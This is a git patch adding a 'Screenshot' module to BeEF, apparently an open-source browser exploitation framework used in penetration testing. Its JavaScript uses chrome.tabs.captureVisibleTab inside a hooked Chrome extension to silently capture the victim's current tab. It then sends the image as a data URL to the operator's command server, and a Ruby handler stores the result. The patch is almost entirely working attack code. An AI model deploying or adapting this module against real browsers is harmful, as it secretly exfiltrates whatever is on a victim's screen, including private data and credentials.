From cb9125eb1a53a3c6da891fef3f998a4f2073f31e Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 13 Jun 2012 21:33:47 +1200 Subject: [PATCH] added a chrome_extension module that takes a screenshot of the current tab, image returned as dataurl for now --- .../social_engineering/screenshot/command.js | 22 ++++++++++++++++ .../social_engineering/screenshot/config.yaml | 26 +++++++++++++++++++ .../social_engineering/screenshot/module.rb | 24 +++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100755 modules/social_engineering/screenshot/command.js create mode 100755 modules/social_engineering/screenshot/config.yaml create mode 100755 modules/social_engineering/screenshot/module.rb diff --git a/modules/social_engineering/screenshot/command.js b/modules/social_engineering/screenshot/command.js new file mode 100755 index 000000000..16fcb3b17 --- /dev/null +++ b/modules/social_engineering/screenshot/command.js @@ -0,0 +1,22 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + chrome.tabs.captureVisibleTab(null, function(img) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString()); + }); +}); + diff --git a/modules/social_engineering/screenshot/config.yaml b/modules/social_engineering/screenshot/config.yaml new file mode 100755 index 000000000..23d222c17 --- /dev/null +++ b/modules/social_engineering/screenshot/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + screenshot: + enable: true + category: "Chrome Extensions" + name: "Screenshot" + description: "Screenshots current tab the user is in, screenshot returned as base64d data for a dataurl" + authors: ["mh"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/social_engineering/screenshot/module.rb b/modules/social_engineering/screenshot/module.rb new file mode 100755 index 000000000..75849d756 --- /dev/null +++ b/modules/social_engineering/screenshot/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Screenshot < BeEF::Core::Command + + def post_execute + content = {} + content['Return'] = @datastore['return'] + save content + end + +end